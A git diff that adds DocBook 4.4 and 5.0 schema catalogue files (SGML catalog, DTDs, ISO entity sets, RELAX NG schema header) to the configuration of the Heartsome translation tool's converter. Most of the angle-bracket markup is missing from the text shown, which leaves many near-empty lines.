+ + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + +]]> + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + +]]> +]]> + + + + + + + +]]> + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + + + +]]> + + + + + + + + + + +]]> +]]> + + + + + + + + +]]> + + + + +]]> + + + + +]]> + + + + +]]> + + + + +]]> + + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> + + + +]]> + + + +]]> +]]> +]]> + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/docbook.cat b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/docbook.cat new file mode 100644 index 0000000..8d35d68 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/docbook.cat @@ -0,0 +1,116 @@ + -- ...................................................................... -- + -- Catalog data for DocBook V4.4 ........................................ -- + -- File docbook.cat ..................................................... -- + + -- Please direct all questions, bug reports, or suggestions for + changes to the docbook@lists.oasis-open.org mailing list. For more + information, see http://www.oasis-open.org/. + -- + + -- This is the catalog data file for DocBook V4.4. It is provided as + a convenience in building your own catalog files. You need not use + the filenames listed here, and need not use the filename method of + identifying storage objects at all. See the documentation for + detailed information on the files associated with the DocBook DTD. + See SGML Open Technical Resolution 9401 for detailed information + on supplying and using catalog data. + -- + + -- ...................................................................... -- + -- DocBook driver file .................................................. -- + +PUBLIC "-//OASIS//DTD DocBook V4.4//EN" + "docbook.dtd" + +PUBLIC "-//OASIS//DTD DocBook XML V4.4//EN" + "docbookx.dtd" + + -- ...................................................................... -- + -- DocBook modules ...................................................... -- + +PUBLIC "-//OASIS//DTD DocBook CALS Table Model V4.4//EN" + "calstblx.dtd" + +PUBLIC "-//OASIS//ELEMENTS DocBook XML HTML Tables V4.4//EN" + "htmltblx.mod" + +PUBLIC "-//OASIS//DTD XML Exchange Table Model 19990315//EN" + "soextblx.dtd" + +PUBLIC "-//OASIS//ELEMENTS DocBook Information Pool V4.4//EN" + "dbpoolx.mod" + +PUBLIC "-//OASIS//ELEMENTS DocBook Document Hierarchy V4.4//EN" + "dbhierx.mod" + +PUBLIC "-//OASIS//ENTITIES DocBook Additional General Entities V4.4//EN" + "dbgenent.mod" + +PUBLIC "-//OASIS//ENTITIES DocBook Notations V4.4//EN" + "dbnotnx.mod" + +PUBLIC "-//OASIS//ENTITIES DocBook Character Entities V4.4//EN" + "dbcentx.mod" + + -- ...................................................................... -- + -- ISO entity sets ...................................................... -- + +PUBLIC "ISO 8879:1986//ENTITIES Diacritical Marks//EN" + "iso-dia.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Numeric and Special Graphic//EN" + "iso-num.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Publishing//EN" + "iso-pub.gml" + +PUBLIC "ISO 8879:1986//ENTITIES General Technical//EN" + "iso-tech.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Added Latin 1//EN" + "iso-lat1.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Added Latin 2//EN" + "iso-lat2.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Greek Letters//EN" + "iso-grk1.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Monotoniko Greek//EN" + "iso-grk2.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Greek Symbols//EN" + "iso-grk3.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Alternative Greek Symbols//EN" + "iso-grk4.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Arrow Relations//EN" + "iso-amsa.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Binary Operators//EN" + "iso-amsb.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Delimiters//EN" + "iso-amsc.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Negated Relations//EN" + "iso-amsn.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Ordinary//EN" + "iso-amso.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Relations//EN" + "iso-amsr.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Box and Line Drawing//EN" + "iso-box.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Russian Cyrillic//EN" + "iso-cyr1.gml" + +PUBLIC "ISO 8879:1986//ENTITIES Non-Russian Cyrillic//EN" + "iso-cyr2.gml" + + -- End of catalog data for DocBook V4.4 ................................. -- + -- ...................................................................... -- diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/docbook.dcl b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/docbook.dcl new file mode 100644 index 0000000..c3521bb --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/docbook.dcl @@ -0,0 +1,106 @@ + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/docbook.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/docbook.dtd new file mode 100644 index 0000000..4daa82e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/docbook.dtd @@ -0,0 +1,65 @@ + + + + + + + + + + + + + +%docbook; + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/docbookx.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/docbookx.dtd new file mode 100644 index 0000000..7224967 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/docbookx.dtd @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + +]]> + + + +]]> + + + + + + +%dbnotn; +]]> + + + + + + + +]]> + +]]> +]]> + + +%dbcent; +]]> + + + + + + + + +%dbpool; +]]> + + + + + + +%rdbmods; +]]> + + + + + +%dbhier; +]]> + + + + + + +%dbgenent; +]]> + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/htmltblx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/htmltblx.mod new file mode 100644 index 0000000..31b2373 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/htmltblx.mod @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsa.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsa.ent new file mode 100644 index 0000000..013464e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsa.ent @@ -0,0 +1,63 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsb.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsb.ent new file mode 100644 index 0000000..074a110 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsb.ent @@ -0,0 +1,49 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsc.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsc.ent new file mode 100644 index 0000000..6160942 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsc.ent @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsn.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsn.ent new file mode 100644 index 0000000..13fcdf3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsn.ent @@ -0,0 +1,66 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amso.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amso.ent new file mode 100644 index 0000000..ad5ad2a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amso.ent @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsr.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsr.ent new file mode 100644 index 0000000..873de3e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-amsr.ent @@ -0,0 +1,91 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-box.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-box.ent new file mode 100644 index 0000000..4d39879 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-box.ent @@ -0,0 +1,45 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-cyr1.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-cyr1.ent new file mode 100644 index 0000000..f937b2c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-cyr1.ent @@ -0,0 +1,72 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-cyr2.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-cyr2.ent new file mode 100644 index 0000000..ce9494c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-cyr2.ent @@ -0,0 +1,31 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-dia.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-dia.ent new file mode 100644 index 0000000..36bf5a7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-dia.ent @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-grk1.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-grk1.ent new file mode 100644 index 0000000..a543ae4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-grk1.ent @@ -0,0 +1,54 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-grk2.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-grk2.ent new file mode 100644 index 0000000..a1dfad9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-grk2.ent @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-grk3.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-grk3.ent new file mode 100644 index 0000000..68ffd88 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-grk3.ent @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-grk4.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-grk4.ent new file mode 100644 index 0000000..fd7ee10 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-grk4.ent @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-lat1.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-lat1.ent new file mode 100644 index 0000000..0347523 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-lat1.ent @@ -0,0 +1,67 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-lat2.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-lat2.ent new file mode 100644 index 0000000..29b7da3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-lat2.ent @@ -0,0 +1,126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-num.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-num.ent new file mode 100644 index 0000000..312af50 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-num.ent @@ -0,0 +1,81 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-pub.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-pub.ent new file mode 100644 index 0000000..6905ae4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-pub.ent @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-tech.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-tech.ent new file mode 100644 index 0000000..55ab939 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/iso-tech.ent @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/soextblx.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/soextblx.dtd new file mode 100644 index 0000000..7b1d587 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/soextblx.dtd @@ -0,0 +1,314 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/catalog.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/catalog.xml new file mode 100644 index 0000000..187febb --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/catalog.xml @@ -0,0 +1,52 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.dtd new file mode 100644 index 0000000..c90ac4e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.dtd @@ -0,0 +1,4171 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.rnc b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.rnc new file mode 100644 index 0000000..ac81f11 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.rnc @@ -0,0 +1,10345 @@ +namespace a = "http://relaxng.org/ns/compatibility/annotations/1.0" +namespace ctrl = "http://nwalsh.com/xmlns/schema-control/" +default namespace db = "http://docbook.org/ns/docbook" +namespace html = "http://www.w3.org/1999/xhtml" +namespace mml = "http://www.w3.org/1998/Math/MathML" +namespace rng = "http://relaxng.org/ns/structure/1.0" +namespace s = "http://www.ascc.net/xml/schematron" +namespace svg = "http://www.w3.org/2000/svg" +namespace xlink = "http://www.w3.org/1999/xlink" + +s:ns [ + prefix = "a" + uri = "http://relaxng.org/ns/compatibility/annotations/1.0" +] +s:ns [ prefix = "ctrl" uri = "http://nwalsh.com/xmlns/schema-control/" ] +s:ns [ prefix = "db" uri = "http://docbook.org/ns/docbook" ] +s:ns [ + prefix = "dbx" + uri = + "http://sourceforge.net/projects/docbook/defguide/schema/extra-markup" +] +s:ns [ prefix = "html" uri = "http://www.w3.org/1999/xhtml" ] +s:ns [ prefix = "mml" uri = "http://www.w3.org/1998/Math/MathML" ] +s:ns [ prefix = "rng" uri = "http://relaxng.org/ns/structure/1.0" ] +s:ns [ prefix = "s" uri = "http://www.ascc.net/xml/schematron" ] +s:ns [ prefix = "svg" uri = "http://www.w3.org/2000/svg" ] +s:ns [ prefix = "xlink" uri = "http://www.w3.org/1999/xlink" ] +# DocBook V5.0b5 + +# See http://docbook.org/ns/docbook + +# This file is part of DocBook V5.0b5 +# +# Copyright 1992-2005 HaL Computer Systems, Inc., +# O'Reilly & Associates, Inc., ArborText, Inc., Fujitsu Software +# Corporation, 